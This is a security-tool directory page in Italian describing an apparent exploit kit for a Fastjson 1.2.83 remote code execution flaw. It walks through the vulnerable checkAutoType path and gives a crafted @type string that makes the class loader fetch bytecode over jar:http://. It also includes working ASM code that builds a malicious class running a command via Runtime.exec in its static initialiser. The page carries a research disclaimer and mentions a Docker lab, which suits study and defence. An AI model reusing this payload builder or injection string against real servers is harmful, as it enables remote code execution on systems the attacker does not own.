Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
fastjson-cve-2026-16723 — Analisi dettagliata di CVE-2026-16723 e kit di exploit per Fastjson 1.2.83 RCE, che copre percorsi di codice vulnerabili, generazione di JAR/bytecode dannosi e un ambiente Docker Compose per riprodurre l'attacco. | Kitploit
Strumenti/GitHubGitHub/learner330/fastjson-cve-2026-16723
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebApprendimento e FormazioneSviluppo PayloadLab e Pratica
GitHub

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
learner330/fastjson-cve-2026-16723

fastjson-cve-2026-16723

Analisi dettagliata di CVE-2026-16723 e kit di exploit per Fastjson 1.2.83 RCE, che copre percorsi di codice vulnerabili, generazione di JAR/bytecode dannosi e un ambiente Docker Compose per riprodurre l'attacco.

Vedi Repository
5222 mesi faNon ancora revisionato
Condividi

Disclaimer: questo progetto è destinato esclusivamente all'uso per ricerca sulla sicurezza e apprendimento in ambienti autorizzati. È vietato testare sistemi non autorizzati; le conseguenze dell'uso sono a carico dell'utente.


Analisi della vulnerabilità di esecuzione di codice remoto in Fastjson 1.2.83 (CVE-2026-16723)

CVSS 9.0, interessa Fastjson 1.2.68 ~ 1.2.83. Non è necessario abilitare AutoType, non sono necessari Gadget di terze parti, la configurazione predefinita è sufficiente per lo sfruttamento.


I. Panoramica del meccanismo della vulnerabilità

Il punto di ingresso della vulnerabilità è in com.alibaba.fastjson.parser.ParserConfig.checkAutoType. Indipendentemente dal fatto che venga chiamato JSON.parse(body) o JSON.parseObject(body, Foo.class), si finisce sempre in questo metodo.

Percorso del codice chiave (fastjson 1.2.83):

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {

    // ① 黑白名单检查——autoTypeSupport=false 时整段跳过
    if (autoTypeSupport || expectClassFlag) { ... }

    // ② @JSONType 注解探测
    boolean jsonType = false;
    InputStream is = null;
    try {
        String resource = typeName.replace('.', '/') + ".class";
        if (defaultClassLoader != null) {
            is = defaultClassLoader.getResourceAsStream(resource);
        } else {
            is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
        }
        if (is != null) {
            ClassReader classReader = new ClassReader(is, true);
            TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
            classReader.accept(visitor);
            jsonType = visitor.hasJsonType();
        }
    } catch (Exception e) { }
      finally { IOUtils.close(is); }

    // ③ 类型加载
    if (autoTypeSupport || jsonType || expectClassFlag) {
        boolean cacheClass = autoTypeSupport || jsonType;
        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
    }

    // ④ jsonType=true 时跳过所有后续检查
    if (clazz != null) {
        if (jsonType) {
            return clazz;
        }
        // denyList 检查、硬编码拦截、isAssignableFrom ...
    }
}

L'interruttore AutoType (autoTypeSupport) controlla solo ① se si entra, ma ② il rilevamento delle annotazioni viene eseguito incondizionatamente. Non appena jsonType in ② diventa true, ③ il caricamento del tipo e ④ il salto dei controlli di sicurezza si attivano in sequenza.


Due, analisi segmento per segmento della catena di attacco

2.1 typeName → resource

String resource = typeName.replace('.', '/') + ".class";

typeName è il valore di @type nel JSON, completamente controllabile dall'attaccante. L'intento originale era convertire com.example.Foo in com/example/Foo.class, ma quando l'input è un URL, questo diventa un costruttore di URL.

Poiché anche i . nell'hostname vengono sostituiti, l'attaccante usa un IP intero per aggirare il problema. L'intero senza segno a 32 bit di 127.0.0.1 è 2130706433:

输入:  jar:http:..2130706433:8000.probe!.EvilPayload
 ↓ replace('.', '/')
输出:  jar:http://2130706433:8000/probe!/EvilPayload.class

.. → //, .probe! → /probe!/, ottenendo un localizzatore di risorse jar:http:// valido.

2.2 getResourceAsStream

is = defaultClassLoader.getResourceAsStream(resource);

La capacità di getResourceAsStream di risolvere jar:http:// come risorsa remota dipende interamente dal tipo di ClassLoader:

ClassLoaderComportamento
JDK AppClassLoadercerca solo nel classpath locale → null
Tomcat WebappClassLoader (WAR autonomo)cerca solo in WEB-INF/lib → null
Spring Boot LaunchedURLClassLoader (fat-JAR)supporta jar:http:// → esce via HTTP per recuperare il bytecode

C'è un punto facilmente confondibile: quando Spring Boot incorpora Tomcat, il ClassLoader delle classi dell'applicazione è LaunchedURLClassLoader e non WebappClassLoader. Quindi Tomcat/Jetty/Undertow incorporati rientrano tutti nell'ambito di influenza.

Quando is != null, il bytecode della classe remota ospitata dall'attaccante è già entrato nella memoria della JVM.

2.3 Sonda ASM

ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();

Fastjson usa ASM per scansionare il bytecode e verificare se contiene l'annotazione @com.alibaba.fastjson.annotation.JSONType. L'intento progettuale era l'ottimizzazione delle prestazioni: identificare rapidamente i tipi gestiti da Fastjson tramite l'annotazione. Tuttavia qui viene solo verificata l'esistenza dell'annotazione, senza validare la provenienza del bytecode, senza controllare il nome della classe e senza limitare l'origine. La class remota dell'attaccante, purché contenga @JSONType, ottiene il verdetto jsonType=true.

Nota che catch (Exception e) {} è vuoto: l'attaccante non riceverà alcun errore.

alt text

2.4 loadClass

if (autoTypeSupport || jsonType || expectClassFlag) {
    boolean cacheClass = autoTypeSupport || jsonType;
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}

jsonType=true soddisfa la condizione. loadClass segue il flusso standard di caricamento delle classi, registrando il bytecode come oggetto Class della JVM tramite defineClass.

È necessario distinguere due concetti: defineClass completa la definizione della classe (registrazione nella JVM), mentre <clinit> viene eseguito durante la fase di inizializzazione della classe. Le due fasi possono essere completate all'interno della stessa richiesta, ma secondo la specifica JVM sono indipendenti.

2.5 return clazz

if (jsonType) {
    return clazz;
}

Questa riga aggira tutte le difese successive:

  • Intercettazione hardcoded di ClassLoader/DataSource/RowSet
  • Blacklist denyList
  • Controllo del tipo expectClass.isAssignableFrom(clazz)

Questo spiega anche perché parseObject(body, Dto.class) non riesce a proteggere: il controllo del binding del tipo avviene dopo il caricamento della classe, mentre il codice dannoso viene già eseguito durante la fase di caricamento.


III. Costruzione del Payload

L'attaccante deve generare un file bytecode che soddisfi tre condizioni: portare l'annotazione @JSONType, incorporare il codice dannoso in <clinit>, ed essere ospitato tramite HTTP.

ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
cw.visit(Opcodes.V1_6, Opcodes.ACC_PUBLIC,
        "EvilPayload", null, "java/lang/Object", null);

// 过 ASM 探针
cw.visitAnnotation(
    "Lcom/alibaba/fastjson/annotation/JSONType;", true
).visitEnd();

// <clinit> 里跑命令
MethodVisitor mv = cw.visitMethod(Opcodes.ACC_STATIC,
        "<clinit>", "()V", null, null);
mv.visitCode();
mv.visitMethodInsn(Opcodes.INVOKESTATIC,
        "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
mv.visitLdcInsn(cmd);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
        "java/lang/Runtime", "exec",
        "(Ljava/lang/String;)Ljava/lang/Process;", false);
mv.visitInsn(Opcodes.RETURN);

// 打包
JarOutputStream jos = new JarOutputStream(new FileOutputStream(outPath));
jos.putNextEntry(new JarEntry("EvilPayload.class"));
jos.write(cw.toByteArray());

La logica malevola viene attivata tramite <clinit>, ed è sufficiente che la classe venga caricata per essere eseguita.


IV. Riepilogo

Scarica lo strumento